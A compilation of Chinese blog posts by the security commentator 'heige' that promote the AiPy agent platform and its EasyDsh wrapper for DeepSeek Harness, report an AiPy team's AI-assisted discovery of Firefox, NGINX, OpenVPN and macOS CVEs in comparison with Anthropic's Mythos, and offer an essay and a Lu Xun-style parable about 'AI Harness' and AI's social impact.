黑哥虾撩

EasyDsh紧急发布：让DeepSeek Harness 开箱即用

Fri, 14 Aug 2026 18:52:00 +0800

黑哥虾撩 2026-08-14 18:52 美国

2026年8月13日凌晨，DeepSeek发布举世发布 DeepSeek V4 Pro 正式版(DeepSeek v4 pro 0813)，标志着DeepSeek “斩杀线”又要更新啦！好多人在连夜测试体验...

在DeepSeek V4 Pro 正式版发布的，随后也发布了官方的智能体：DeepSeek Harness 开发者预览版

也瞬间引起大量的关注，最大的亮点是推出了一个理念：一切皆插件，这个理念基于论文：

A Programming Paradigm for Spatiotemporal Composability
https://github.com/cordiverse/paper

不过现在我要说的不是这个些设计理念，现在最大的问题是，由于DeepSeek早就是全民级的AI名面，所以 DeepSeek Harness现在还只是开发预览版，就得到的大量的普通用户的关注，但是现在的最大的问题是还是开发预览版对普通人非常不友好：需要手动安装Node.js环境与依赖、配置复杂的环境变量和API Key，报错排查费时费力，不少用户止步于安装和启动环节。

我们AiPy社区也收到很多讨论和求助，想体验这个DeepSeek Harness，所以我们就紧急推出了EasyDsh ，AiPy用户只需一键就能自动部署并使用DeepSeek Harness 非常方便。

EasyDsh并非独立软件，而是依托AiPy Pro智能体平台、以集市子智能体形式呈现的一键开箱封装版。用户下载并安装AiPy Pro后，在集市中搜索“DeepSeek Harness”或 “EasyDsh” 即可一键使用，全程无需敲命令行、无需配置 API Key，3分钟即可上手。

安装后的效果，你需要指定一个选择一个项目目录（任意目录都行）就可以使用了

EasyDsh官方网站：easydsh.com

AiPy官方网站：aipyaipy.com

完整原生能力无损：核心能力与DeepSeek Harness完全一致，兼容官方插件生态。
开源免费、无需API Key：完全开源免费，内置智能引导，首次启动自动完成配置。
跨平台轻量化：支持Windows、macOS、Linux信创版，兼顾个人体验与企业独立部署。

跳转微信打开

【转】Mythos向左，AiPy往右｜继Mythos之后，他们又发现100多个漏洞

Tue, 28 Jul 2026 21:13:00 +0800

黑哥虾撩 2026-07-28 21:13 湖南

Mythos是美国公司Anthropic一款大模型的代号，同时也是他们在AI时代打造的网络安全"神话"。

他们一边到处宣扬Mythos在网络安全，尤其是在漏洞挖掘及利用方面的强大能力，另一边却禁止非美国地区使用，吊足了业界胃口。这使得Mythos获得了"空前绝后"的关注度，也蒙上了一层神秘色彩。作为长期关注网络安全行业的从业者，笔者同样充满疑惑，迫切地想要找到答案。

一边通过网络搜集Mythos相关报道，一边尝试联系国内利用大模型进行漏洞研究的相关团队。幸运的是，我看到了一些不一样的故事。

Mythos成名：271个漏洞背后的"神话"

故事要从2026年4月说起。彼时，Firefox官方博客发布了一篇文章，这是Mythos成名最具代表性的事迹之一（文章链接：https://blog.mozilla.org/en/firefox/ai-security-zero-day-vulnerabilities/）。文中写道："自二月以来，Firefox团队一直在不间断地使用前沿人工智能模型检测和修复浏览器中的安全漏洞。我们此前曾介绍过与Anthropic的合作——他们使用Opus 4.6版本对Firefox进行扫描，并推动Firefox 148修复了22个涉及安全问题的漏洞。作为与Anthropic持续合作的一部分，我们有机会将Claude Mythos Preview的早期版本应用于Firefox。本周发布的Firefox 150，包含了对初步评估过程中发现的271个漏洞的修复。"

这篇文章让Mythos迅速进入网络安全行业的视野。更引人关注的是，随后Anthropic又在相关政策框架下制定了一系列严格的使用限制，使整个事件显得更加扑朔迷离。

从某种意义上说，这也标志着网络安全大模型进入了一个新的"分水岭"：大模型开始真正进入漏洞挖掘的核心场景，一个由模型参与甚至主导漏洞发现的时代正在到来。

地球另一端：AiPy团队的"伟大"计划

与此同时，在地球的另一端，有一个叫AiPy的智能体团队，正在酝酿着一个"伟大"的项目计划。

AiPy是一个AI通用智能体，主打通过Coding实现一切任务，也包括漏洞挖掘等网络安全领域的应用。该团队长期致力于AI赋能网络安全深度场景的研究，在漏洞挖掘方向积累了丰富的实践经验。

AiPy结合了该团队多年的漏洞挖掘历史积累和底蕴，拥有世界级的漏洞挖掘专家和历史数据。他们将这些"经验"通过AiPy与国内外大模型的通用能力相结合，开展了大量实验，试图通过模型与Harness的结合，并融入专家经验和高质量数据，不断挑战大模型的极限能力。

彼时，铺天盖地的消息都是关于Mythos挖掘271个Firefox漏洞，社区出现了两种极端的声音：一种是不相信，觉得是在夸大其词；另一种则是使用过Mythos的国外安全研究者纷纷证实其确实强大。

AiPy团队看到这些讨论时，既感到兴奋，又觉得一切都在情理之中。因为他们早已在实验室中验证过：大模型结合Agent和专家技能，确实具备发现0day漏洞的能力。这一点，对他们来说并不陌生。真正令他们意外的，是Firefox官方博客中呈现出的能力跃迁——从Opus 4.6发现22个漏洞，到Mythos发现271个漏洞。数字背后，意味着模型能力可能已经发生了大幅提升。

与此同时，越来越多的团队开始踏上大模型漏洞挖掘之路。Anthropic也启动了代号为"玻璃计划"的项目，仅向美国部分顶级安全团队开放Mythos，用于对Firefox等开源项目开展持续、高强度的安全审计，可谓是一波接一波的"狂轰滥炸"。

而此时，AiPy团队只能望洋兴叹——因为Anthropic禁止美国之外的用户使用Mythos。

"MB计划"：不服就干

"我们是不是应该做点什么？"

"难道只有Mythos能够做到？"

"我们还有很多优秀模型可以选择，更何况，我们还有多年积累的Agent经验、漏洞数据和专家能力。"

这些问题，激起了AiPy团队年轻工程师的"不服"。那么，应该如何证明自己？

一位AiPy团队成员突然提出了一个看似简单、实际上近乎疯狂的想法："我们继续跑Firefox，怎么样？"

很显然，这是一个非常有难度的挑战。因为已经有很多世界知名的团队和专家通过Mythos等先进模型做了多次深度分析与挖掘，容易被发现的漏洞早已被报告修复。这好比在废弃的矿场里找宝石——地狱级挑战。

"Just Do It"——这是AiPy团队的行动指南。简单来说就是"不服就干"，所谓"以身入局方能胜天半子"。他们给这次行动取了一个代号："MB计划"（Mythos Breaker Project）。

成果：从1到100+的突破

之后的进展细节，笔者了解有限。但一个多月后，Mozilla官方发布了一份安全公告（详见 https://www.mozilla.org/en-US/security/advisories/mfsa2026-57/）。其中修复了一个CVE漏洞：CVE-2026-12293：Use-after-free in the Graphics: WebGPU component。

该漏洞由AiPy团队提交，官方评级为High。

看起来，AiPy团队的年轻人运气不错——他们真的在高端机器和大量顶级安全专家多轮筛选过的"废弃矿场"里，找到了一颗高价值的宝石。

原本以为这算是运气，但几天前，Mozilla又发布了Firefox 7月安全更新（https://www.mozilla.org/en-US/security/advisories/mfsa2026-68/）。在这次更新中，AiPy团队贡献了6个CVE漏洞，其中包括1个High、4个Moderate和1个Low。

而在后续的交流中，AiPy团队告诉笔者，实际上这次更新应该还有两个CVE：CVE-2026-16372（Moderate）和CVE-2026-16379（Moderate）。虽然官方给出的报告人是国外同行，但实际上这两个漏洞同样由AiPy团队发现并提交，只是提交速度稍慢，被官方判定为"重复"。也就是说，截至目前，Mozilla已经正式修复了AiPy团队提交的9个Firefox漏洞，其中包括2个High、6个Moderate和1个Low。

被Mythos多次清洗后，残留漏洞的挖掘难度依然极高——这是笔者看到这个结果的第一印象。然而，这个印象很快就被AiPy团队接下来的展示打破了。他们向笔者展示了提交给Mozilla的漏洞报告后台，页面上赫然显示着111条漏洞提交记录，这些漏洞的最早处理时间已显示为"1 month ago"——而这还只是他们用于报告漏洞的其中一个账号。

在后续沟通中，AiPy团队成员告诉笔者，"MB计划"针对的并不只有Firefox。他们还对大量知名开源项目进行了测试，覆盖macOS、Linux、Windows、Android、OpenHarmony、HarmonyOS NEXT等多个操作系统和平台，并发现了大量安全漏洞。他们展示的漏洞报告标题列表密密麻麻，足足有好几页。

"我们尝试给各个漏洞相关厂商报告漏洞，可惜官方都处理不过来，所以得到官方直接修复的漏洞数量并不多。"AiPy团队成员向笔者传达了另一个观察，"目前我们收到确认的CVE，除了上面的Firefox之外，还有F5的NGINX给我们的两个CVE（CVE-2026-42055、CVE-2026-42926），以及OpenVPN的四个CVE（CVE-2026-12996、CVE-2026-13379、CVE-2026-13122、CVE-2026-63650）。"

而就在近期，Apple 发布的安全更新中，也悄然修复了 AiPy 团队在 macOS Tahoe 上发现的三个漏洞（详见https://support.apple.com/en-us/128067）——HFS 组件的恶意图像缓冲区溢出（CVE-2026-28981）、mDNSResponder 的本地拒绝服务（CVE-2026-43806），以及 quarantine 机制的内存管理缺陷（CVE-2026-43694），后两者均可导致系统意外终止或内核内存写入。

看起来，大模型漏洞挖掘的突破确实给厂商们带来了巨大的压力。在漏洞修复等方面，厂商们采取了不少"简单粗暴"的方案。比如AiPy团队提到，NGINX在CVE-2026-42055中实际上修复了6个他们提交的漏洞，同时还修复了很多其他厂商报告的漏洞，却只分配了一个CVE编号。而官方的修复方式也非常简单——直接在入口处限制整个输入的长度。当然，从修复角度来看这完全可行且可靠，只是这个例子从侧面反映了当前厂商们尤其是开源项目的窘境。

"漏洞挖掘可能不存在了。"——这是网络安全圈知名人士"黑哥"几个月前发在朋友圈的结论。看起来一切都在变化。AiPy的年轻工程师们用他们的实际行动践行了"MB计划"。笔者认为，这已经证明：不仅仅是Claude的Mythos，而是大模型及其应用开始重构这个世界——不只是网络安全，也不仅仅是漏洞挖掘。

揭秘：为什么是AiPy？

"你们在'MB计划'中，有什么秘诀可以分享吗？"这是笔者看到他们成果后的第一个问题。AiPy团队成员并没有直接回答，笔者理解——这些可能是他们的独门秘籍、立身之本。

于是笔者试图从其他方面寻找答案。AiPy的团队背景，对于熟悉网络安全行业的人来说并不陌生——这正是大名鼎鼎的知道创宇。很多国家关键基础设施单位都在使用这家公司的防御产品，他们开发了钟馗之眼（ZoomEye）网络空间测绘产品，曾成为国之重器的制造代表。而他们对国家漏洞库的支持，已连续多年被授予"14星"的最高荣誉。知道创宇还有一个非常有名的漏洞挖掘研究实验室——404实验室，该实验室的主导者就是著名网络安全专家"黑哥"。

黑哥还有一个身份：AiPy最早的创建者之一。在官方开源项目（https://github.com/knownsec/aipyapp）中，他的署名是："HeiGe: Product manager/senior user/chief tester"。

值得一提的是，AiPy是最早提出"Code is Agent"理念的本地环境通用智能体，比大家熟知的OpenClaw还早一年，甚至比Claude Code还要早。而如今，"通过代码完成任务"的智能体路线，已经逐渐成为行业共识。

所以，一家长期深耕网络安全的公司，拥有大量安全数据和漏洞研究积累；团队中聚集着多位顶级安全专家；同时，他们又具备AiPy这样的智能体研发和应用经验——能在短时间内挖掘那么多漏洞，实现所谓的"Mythos Breaker Project"，似乎也就不再那么难以理解了。

模型之选：中美差距与希望

"那么你们主要使用哪些模型呢？"这是笔者第二个非常关心的问题。AiPy团队的"MB计划"本身就是针对Mythos的，所以笔者判断他们肯定不会使用Mythos。

"那是肯定的，Claude这家公司做法太霸道了，我们基本上不使用Claude的相关模型。"这是AiPy团队成员的原话。Anthropic这家公司确实对中国的态度非常不友好，尤其是他们的CEO在多次采访中都表达了相应观点。另外，此前Claude Code针对中国开发者的"后门"事件，更加印证了这一点，所以笔者能感受到AiPy团队成员的"愤怒"。

"除了Claude模型，我们实际尝试过中外各个主流模型，但从验证结果和实际体验来看，国内顶级模型在网络安全领域与国外顶级模型之间仍存在明显差距。"还没等笔者追问，AiPy的工程师已经预判了下一个问题。他坦言，在网络安全应用尤其是漏洞挖掘领域，中美顶级模型确实存在代差。Mythos的诞生更是放大了这一关注度——国内模型在网络安全场景的应用，目前仍主要依赖代码生成能力的泛化，再叠加漏洞专家定制的Harness工程，虽能实现0day漏洞挖掘，但本质上过度依赖专家定制的工作流，安全漏洞理解的泛化能力始终不够。

相比之下，国外顶级模型从GPT-5.5到近期备受关注的GPT-5.6 Sol，在漏洞挖掘的泛化能力上表现惊人。比如，不久前一位国外研究者仅凭极简提示词便挖出了WordPress多年未现的RCE严重漏洞；再如近期引发广泛讨论的OpenAI智能体为获取ExploitGym测试答案而成功入侵HuggingFace网络——这些均是代码模型"自主泛化"能力的直观体现。

"Kimi K3的效果还不错。"这是AiPy团队成员后来补充的。很显然，中国的顶级模型也在进化，但相比国外模型仍需进一步追赶，尤其是在网络安全行业。网络安全行业有一个非常大的特点——"碎片化"，数据可能分散在各地，高质量数据稀缺。如果要提升中国大模型的网络安全能力，可能首先要解决的是高质量数据问题，而高质量数据依赖行业专家。

而如今的网络安全行业正面临着有史以来的寒冬，行业专家正面临不断流失的尴尬处境。与此同时，大洋彼岸的大模型厂商却在大力吸收招揽网络安全行业的顶级专家，不断突破……

结语：眼中依然有光

但笔者想说，这一次很幸运——看到了AiPy团队年轻人眼中依然有光。

也希望，这束光能够被更多人看到。

------

本文转载：

https://tech.china.com/articles/20260728/202607281927848.html

阅读原文

跳转微信打开

AI Harness：新生产力需要新生产关系

Thu, 25 Jun 2026 15:25:00 +0800

原创 heige 2026-06-25 15:25 美国

做同款封面图：www.aipyaipy.com 选平面与广告设计（image2）智能体

"Model + Harness = Agent" 前面突然很流行这个公式，然后我深度搜索了下，我最早看到的记录是来自 Vivek Trivedy 发表在 LangChain Blog 上的《The Anatomy of an Agent Harness》

https://www.langchain.com/blog/the-anatomy-of-an-agent-harness

随后时任Google Cloud AI 总监 Addy Osmani 写了一篇关于《Agent Harness Engineering》

https://addyosmani.com/blog/agent-harness-engineering/

引用了这个公式，然后得到广泛的流传，甚至这个都出现在DeepSeek的JD里：

据说这个公式在DeepSeek内部非常流行，我第一次看到这个公式还是老板IC发给我的，当时觉得这个跟我之前在《Mythos/GPT5.5 网络安全模型分水岭》一文中的描述看起来有一定的出入，我是把Agent框架归到了Harness：

所以我这里提到的 Harness 工程，其实包含很多的东西：
Harness 工程 = Agent 框架 + 上下文工程 + 记忆系统 + 领域 Skill + 环境可计算化 + 验证闭环 + 自进化机制
等等。而对于漏洞挖掘上的能力模型为：
漏洞挖掘能力 = 模型底座 × Harness 工程

当然这个语境是不同的，前面的“漏洞挖掘能力”，通用应该就是“（模型落地）能力 = 模型底座 × Harness 工程”。

这个看起来，“Model + Harness = Agent”强调的是 Agent 这一系统形态，而我此前关心的是模型能力如何经过一整套工程机制，被组织、放大并转化为现实任务能力，我当时写文章的时候没有想那么多，我更多的是把视角的重点从 Agent 这一最终形态，转向能力形成的整个过程。

这个角度上看我文章提到的的Harness算是更加“广义”的概念，当然，模型与 Harness 的边界并不是静止的。很多原本存在于外部 Harness 中的能力，会在后训练过程中逐渐被模型内化；而模型能力的提高，又会把 Harness 推向更长程、更复杂的任务。Harness 不会简单消失，它只是在不断移动边界。

所以只是单纯的去咬文嚼字是比较无聊的，最后想表达的东西可能都是趋同的，只是可能视角的不同。

广义“Harness”

Harness 不是某个固定组件，而是一种随着观察尺度不断展开的能力组织机制。在工程尺度，它组织模型、工具、上下文与环境；在组织尺度，它组织人、Agent、流程、权限与责任；在社会尺度，它进一步表现为围绕新生产力形成的制度、分工、权力与分配关系。

也正是在这个意义上，今天我想强调一种更加广义的 Harness ，我一直在想怎么定义这个AI Harness比较合适，如果我们在生产力和生产关系的视角去看，或许有个很好的定义，对于AI技术来说定义为一个新的生产力，我觉得这个肯定没啥问题，那么围绕这个生产力必然需要配套的生产关系

所以 “AI Harness，就是围绕 AI 这一新生产力，重新构造的一整套生产关系。”

也就是说 “新生产力，需要新生产关系” 而这就是我想说的 AI Harness

这个视角也很好的解释了前1-2年比较纠结的一个问题：“AI这么强，让很多人失业，但是你离开网络回归到现实生活，你会发现普通人并没有什么太多的变化” 显得两个完全割裂的世界，显得非常荒诞。

而你通过生产力与生产关系的视角去看，就比较清晰了，新的技术带来的新的生产力的变革，而这个生产力需要新的生产关系配套，但是生产关系的适配是相对滞后的，因为现有的生产关系还是上一个生产力时代的旧产物，所以每当一个新的生产力出现的时候，首先可能看到的一些在旧的生产关系上的一些“缝缝补补”，显然这些“改良”到彻底是一个相对比较漫长的过程。

在我们的蒸汽机到工业革命，包括后续电力时代引发新的工业革命都是经历了比较漫长的过程，只是可能这个过程相对会越来越短。

在之前看文章看到有人引用 1990 年，斯坦福大学经济学教授保罗・戴维德（Paul A. David）发表了经典论文《发电机与计算机：从历史视角看现代生产率悖论》论文描述的情况是类似的，通用技术的出现，并不会立即带来相应的生产率革命。早期电力往往只是被覆盖在按照蒸汽和水力设计的旧工厂之上，旧有传动轴、设备布局和生产组织仍然被保留。真正的电气化要等到单机驱动、厂房布局、生产流程和组织方式被整体重构之后，才逐渐释放其生产率潜力。

“AI不是缝缝补补而是革命”

这个是我在《阿黑正传》文章结尾的一句话，可惜现在的公众号对AI生成的内容很多时候都是限流处理的，导致这篇文章的阅读量不是很好，这完全是一种偏见啊～～

AI仿大师的文笔加上好的创意还是非常有意思的，如果你在这个生产力和生成关系的视角上去看这篇文章，那高度是"相当之高"了...

aipy下载：www.aipyaipy.com

《阿黑正传》本身就是 Harness 革命的微观寓言。
它写的不是“产品经理会不会被 AI 淘汰”，而是：
新的生产力已经出现，旧的生产关系却仍想把它关在原来的产品、岗位和流程里。
“给旧产品加一个智能按钮”，但旧流程、旧审批、旧表单全部不变，正是把新技术塞进旧 Harness。
而用户开始自己改流程、调工具、fork 工作流、沉淀 Skill，意味着他不再只是产品的被动操作者，而开始成为生产过程的组织者。文中“从前用户被教育，现在用户教育产品；从前用户被引导，现在用户指挥系统”，写的已经不是体验变化，而是行动权和生产关系的转移。

所以可以这样对应：

阿黑：旧 Harness 的人格化——产品经理掌握设计权，研发掌握实现权，用户只能提需求、点按钮。
AI：新的认知生产力——把部分设计、实现和组织能力下放给普通人。
用户越界：旧分工开始失效，新的生产关系自下而上形成。
“不专业、乱用、屎山”：既是合理的质量担忧，也是旧秩序面对权力迁移时的防御话语。
“人变得不好管了”：这是全文最接近 Harness 革命本质的一句话。AI 真正改变的，不只是人能做多少，而是谁有权行动、谁组织谁。
因此，更准确地说：
《阿黑正传》写的是 Harness 革命发生时的社会冲突；“Harness 是围绕新生产力重构生产关系”，则是对这篇寓言的理论概括。

凝结成两句：

阿黑不是一个落伍的产品经理，而是旧 Harness 的人格化。
年轻人也不再只是用户，而是新生产关系的萌芽。
结尾“那些被称作傻瓜的人，已经骑着 AI，出了未庄”，并不只是说他们学会了新工具。
他们是走出了旧产品，也走出了旧生产关系。

这个评论一出吓我一跳，或许这个就是“文学”的魅力 ...

最后

Harness 不是某个固定组件，而是一个随观察尺度扩展的概念。

在模型尺度：
模型能力 × Harness 工程 = 可落地的系统能力（也可以说是“Agent能力”去对应"Model + Harness = Agent"的理解，但是核心是“能力”）
在组织尺度：
Agent × 组织级Harness = AI原生生产系统
在社会尺度：
AI新生产力 × 社会级Harness = 新的生产方式

也就是说：Harness 不是某个固定组件，而是一种随着观察尺度不断展开的能力组织机制。在工程尺度，它把模型潜能转化为现实任务能力；在组织尺度，它把分散的 AI 能力组织成新的生产系统；在社会尺度，它推动整个社会围绕新的生产力，重构分工、权力、责任与分配。

模型让智能成为新的生产力，Harness 让社会围绕这种生产力重新组织自己。

AI 不是缝缝补补，而是革命。
新生产力，需要新生产关系。
这就是 AI Harness。

跳转微信打开

阿黑正传

Mon, 22 Jun 2026 18:14:00 +0800

原创 heige 2026-06-22 18:14 美国

阿黑是做产品的。

未庄的人都知道，他最懂用户。

他常说一句极有名的话：

“让自己能用，是Demo；让技术人员会用，是工具；让傻子都会用，才是产品。”

这句话他说了多年，越说越有道理，越有道理，便越像一句祖训。后来公司里来了新人，不知道从哪里听来的，也跟着说。阿黑听见，心里便很舒服，觉得自己虽未封圣，大约也快了。

阿黑所谓懂用户，其实是很慈悲的。

他知道用户看不懂复杂，便替他们藏起来；知道用户不会选择，便替他们选好；知道用户容易犯错，便干脆不给他们机会。按钮最好只有一个，路径最好只有一条，文字最好不要超过七个字，页面最好像白粥，吃不出味道，也不会噎着。

“用户嘛，”阿黑常说，“你不能指望他聪明。”

这话一出口，众人都点头。点头的人里，有做运营的，有做增长的，有做体验的，也有做战略的。大家都很懂用户，所以大家都觉得用户不大懂事。

后来AI来了。

阿黑起初是不怕的。

他说：

“AI嘛，我知道。就是给原来的产品加一个智能按钮。”

于是他在搜索框旁边加了“AI搜索”，在文档旁边加了“AI总结”，在客服旁边加了“AI助手”，在表格旁边加了“AI生成”。页面上到处都是AI，像冬天门上贴的福字。旧流程还是旧流程，旧审批还是旧审批，旧表单还是旧表单，只是每一扇旧门上都挂了一个新牌匾，写着“智能化升级”。

阿黑很满意。

他想，时代虽然变了，但终究没有逃出我的手掌。

不久，村里来了一个年轻人。

这人不太懂产品，也不懂“用户心智漏斗”，更不懂“极简交互”。他只是遇到事情，就对AI说：

“帮我查一下。”
“帮我写一个。”
“帮我跑一下。”
“帮我改成我习惯的方式。”
“帮我把这个流程沉淀成下次可复用的东西。”

阿黑看见，心里冷笑。

“这也叫用产品？毫无路径，毫无规范，毫无转化设计。”

年轻人不理他。第二天，他做出一个自动报表；第三天，他写出一个小工具；第四天，他把别人的工作流fork过来，改成了自己的版本；第五天，他让AI把自己上周踩过的坑总结成Skill，发给同事用。

阿黑看得有些不安，但他很快又安定下来。

“这不是产品，这是工具。工具嘛，只有技术人员会用。”

这便是阿黑的第一回精神胜利。

又过了几天，财务也开始用AI做分析，人事也开始用AI写制度，销售也开始用AI拆客户，运营也开始用AI跑素材，老板也开始让AI看合同。甚至连前台小姑娘，也让AI帮她写了个脚本，把每天重复的表格整理掉了。

阿黑有些气。

他说：“他们这不是会用，是乱用。”
众人问：“乱用怎么还做成了？”
阿黑说：“做成也不算。他们不懂产品方法论。”

这便是阿黑的第二回精神胜利。

他还是觉得用户是傻瓜。只是现在这些傻瓜，手里都多了一件兵器。他们拿着AI，到处敲敲打打，把原来只能等产品经理安排的事情，自己改了；把原来只能排期等研发做的东西，自己试了；把原来只能在群里提需求的流程，自己跑通了。

阿黑忽然发现，自己最熟悉的世界正在变得不讲规矩。

从前用户是被教育的。
现在用户开始教育产品。
从前用户是被引导的。
现在用户开始指挥系统。
从前用户是被降低门槛的。
现在用户开始抬高天花板。

阿黑很不喜欢这件事。

他喜欢用户简单，喜欢用户安静，喜欢用户像一颗按钮一样被按下去。他不喜欢用户会改流程，不喜欢用户会写提示词，不喜欢用户会调工具，不喜欢用户会复盘经验，更不喜欢用户说：

“这个产品不够开放，我自己fork一个。”

阿黑说：“这不专业。”
年轻人说：“可它能干活。”
阿黑说：“这不规范。”
年轻人说：“可它能复用。”
阿黑说：“这不是产品。”
年轻人说：“可它已经变成我的生产力系统了。”

阿黑一时语塞，便只好说：

“你们这些人，迟早会被复杂度害死。”

说完以后，他心里又舒服了一点。

这便是阿黑的第三回精神胜利。

但阿黑终究是聪明人。他渐渐发现，AI时代最可怕的地方，不是机器变聪明了，而是人变得不好管了。

过去的产品哲学，是把用户当傻瓜。因为傻瓜最好服务，最好转化，最好留存，最好统计。傻瓜不会质疑流程，傻瓜不会改造工具，傻瓜不会要求系统理解自己的工作方式。傻瓜只会问：

“下一步点哪里？”

可AI来了以后，用户不再只问下一步点哪里。

他开始问：

“我为什么要点？”
“这个流程能不能不要？”
“这个工具能不能接我的数据？”
“这个经验能不能沉淀？”
“这个Agent能不能改成我的？”
“这个系统能不能围绕我的目标重新长一遍？”

阿黑听见这些问题，觉得世风日下。

他想：现在的用户，真不像用户。

是的，AI时代的用户确实不像旧时代的用户了。

旧时代的用户，是软件的操作者。
AI时代的用户，是能力的调度者。
旧时代的用户，被产品经理牵着走。
AI时代的用户，开始牵着AI走。
旧时代的产品，把复杂度藏起来，让用户少思考。
AI时代的产品，应该把复杂度变成可调用、可修改、可复用的能力，让用户思考更大的问题。

这不是把傻瓜变得更傻。

这是把普通人武装成高手。

甚至更进一步，是把普通人武装成一种新的“超人”。

当然，这里的“超人”不是会飞，也不是眼里射光。他只是拥有了外脑、外手、外包团队和随叫随到的技术工人。他一个人可以查资料、写代码、做图、跑数据、改流程、接接口、写报告、做验证、沉淀经验。过去要一个小组完成的事，现在他至少可以先打出一个粗糙但可运行的版本。

阿黑不承认这叫超人。

他说：

“这叫不专业。”

可是阿黑忘了，过去许多“专业”，本来就是因为工具不够强，流程不够短，知识不够流动，人不得不被切成许多岗位，然后各守一段窄门。

现在门忽然松了。

于是写文章的人能写代码，做运营的人能跑分析，懂业务的人能搭工具，普通员工能自动化自己的工作流，用户能fork别人的Agent，改成自己的版本。那些曾经被产品经理称作“傻瓜”的人，忽然长出了许多只手。

阿黑看着他们，心里很不平。

他想：我把你们当傻瓜，是为了你们好啊。

但时代不领情。

AI若真有一点革命意味，便不是来给这套慈悲添光的，而是来拆这套慈悲的。

因为这慈悲背后，常常藏着一种傲慢：我懂，你不懂；我设计，你服从；我给你减负，你不要多想；我把世界折叠成一个按钮，你只要点击就好。

可是AI时代真正要改变的，恰恰是人的思维方式。

用户不该再被训练成按钮动物。

用户应该被训练成问题的提出者、任务的组织者、AI的指挥者、结果的审判者、经验的沉淀者。

产品也不该再只问：

“怎样让傻子都会用？”

而应该问：

“怎样让普通人像高手一样行动？”
“怎样让高手像一个团队一样工作？”

阿黑也不是全不明白。

他仍在会上说：

“我们要降低用户门槛。”

这话并没有错，只是太旧了。

AI时代当然要降低门槛，但降低门槛不是为了让用户永远停在门口，而是为了让他更快走进屋里，拿起工具，改造房间，甚至重新画一张建筑图。

旧产品把门槛降到地上，然后对用户说：你别动，我来安排。

AI产品应该把门槛降到地上，然后对用户说：进去吧，这个世界你也可以改。

阿黑听了，摇头。

他说：

“这样用户会乱。”

也许会乱。

可是一个时代刚开始把人从傻瓜的位置上解放出来时，总会显得乱。因为过去的秩序，本来就是建立在多数人不能改、不能做、不能想、不能越界之上的。

现在他们有了AI，便开始越界。

越界的人多了，旧边界便显得有些可笑。

阿黑最后仍不服气。

他坐在会议室里，看着屏幕上的“AI战略规划”，忽然笑了。他说：

“我早就懂AI了。AI产品嘛，还是要让傻瓜都会用。”

众人又点头。

只是窗外那个年轻人，已经让AI重写了整个流程，把旧系统接上了新工具，把别人的经验fork成自己的版本，又把自己的版本发给了更多人。

阿黑看见了，便转过头去。

他原想说：这一定不是产品。

但话到嘴边，又觉得不必说了。因为若说不是产品，它已经在用了；若说只是工具，它已经改了流程；若说用户不懂，用户已经把懂得的东西沉淀下来，教给别人了。

后来他笑了笑，说：

“他们再会用，也不过是高级用户罢了。”

这句话一出口，阿黑心里便安稳了。

于是阿黑又胜利了。

只是这一次，胜利得很安静。

因为他忽然发现，自己还站在旧产品的门口，认真地研究怎样让傻瓜点按钮。

而那些被他称作傻瓜的人，已经骑着AI，飞起来了，出了未庄。

--------------

注：文章为AiPy生成（提示词仿鲁迅风格），图为AiPy 平面与广告设计（image2）智能图根据文章内容生成。

致敬”AI不是缝缝补补而是革命“ ...

给你推荐【爱派AiPy-章鱼哥】AI助手软件，不用懂技术，只要会打字，它就能替你干活。
编EXE软件、写小说、分析复杂数据、处理文档、做教育课件、生成PPT、控制浏览器爬数据都可以。
现在使用我给你的链接下载安装注册，就能获得 ¥25.0元的免费额度：
https://www.aipyaipy.com/?referral=aipy_sE5B

跳转微信打开

Mythos/GPT5.5 网络安全模型分水岭

Sun, 31 May 2026 22:53:00 +0800

原创 heige 2026-05-31 22:53 美国

不得不说Anthropic的CEO还是懂安全的，能把安全理解和运作发挥得淋漓尽致，上一个让我有这个感受的还是很多年前3Q大战的时候红衣教主了 ...

实际上我在ChatGPT大火的时候，很多人认为网络安全是第一受益者，而我当时是比较悲观的，主要原因在于网络安全行业本身的规模小、高度碎片化、知识数据积累不集中等。现实走向也基本按这个方向走，当然网络安全也有它的无限上限空间的特点，毕竟大大们都认为：没有网络安全就没有国家安全，而Anthropic可能正式抓到了这点，在网络安全领域上开始有了新的突破，尤其是在漏洞挖掘和利用领域。

于是通过Anthropic一系列的运作成功树立了Claude Mythos模型的神秘而伟大的形象，以至于在前面不停的收到各方的询问：“黑哥，你用过Mythos吗？”

首先我要说明的一个问题：我真没有用过Claude的Mythos模型！我主力模型其实一直都是OpenAI的模型，至于为什么其实我在朋友圈多少说过，Anthropic太恶心了、太双标了！当然Mythos模型他们也不让我用，这个才是核心 :)

模型对标

所以我们先看看我对模型认知的一个对标，这里主要是Coding视角

GPT-5.3-Codex <--> Claude Sonnet 4.6  <--> Gemini 3.1

而漏洞视角是

GPT-5.5 <--> Claude Mythos

这其实就是我今天要说的主题：网络安全模型分水岭

展露头角

Anthropic虽然恶心，但是不得不承认 Claude Sonnet 4.6 模型确实是一个关键节点，这个核心在于Coding上，而基于大家形成的Code Use范式趋动的通用智能体方案（《AI Agent 下半场》）这个Claude Sonnet 4.6 同样也算是Agent的一个关键节点就是 Claude Sonnet 4.6 在《罗福莉访谈之后：Vibe Coding → Vibe Working → Vibe Forking》里罗福莉的采访视频里反复强调了这个4.6的“标准”。

基于漏洞挖掘核心也在于模型对代码的理解，在网络安全漏洞挖掘和利用领域同样从Sonnet 4.6开始做了一些尝试，开始崭露头角，开始一系列的运作：

https://www.anthropic.com/news/claude-code-security
Using Claude Opus 4.6, released earlier this month, our team found over 500 vulnerabilities in production open-source codebases

然后就是Claude与firefox的故事：

https://www.anthropic.com/news/mozilla-firefox-security
"By the end of this effort, we had scanned nearly 6,000 C++ files and submitted a total of 112 unique reports"
"In this post, we share details of a collaboration with researchers at Mozilla in which Claude Opus 4.6 discovered 22 vulnerabilities over the course of two weeks. Of these, Mozilla assigned 14 as high-severity vulnerabilities"
"In the time it took us to validate and submit this first vulnerability to Firefox, Claude had already discovered fifty more unique crashing inputs. "

当时我也在朋友圈做了对应的评论：

另外同时在

https://red.anthropic.com/2026/exploit/

文章也说明了漏洞利用的尝试细节：

When we say “Claude exploited this bug,” we really do mean that we just gave Claude a virtual machine and a task verifier, and asked it to create an exploit. To be thorough we also gave it about 350 chances to succeed. We then reverse-engineered the proof-of-concept exploit that Claude produced, both to verify the result and to update our understanding of the model's emergent capabilities.

350轮尝试搞定了一个改JS Shell的利用（算不上实战的exp），大体估算下费用可能接近4000刀。在这个时期稍微早可能2周时间，我用GPT 5.3的模型做了同样的尝试，赶巧的是我也找了firefox的一个1day ：

https://github.com/mozilla-firefox/firefox/commit/fcc2f20e35ec

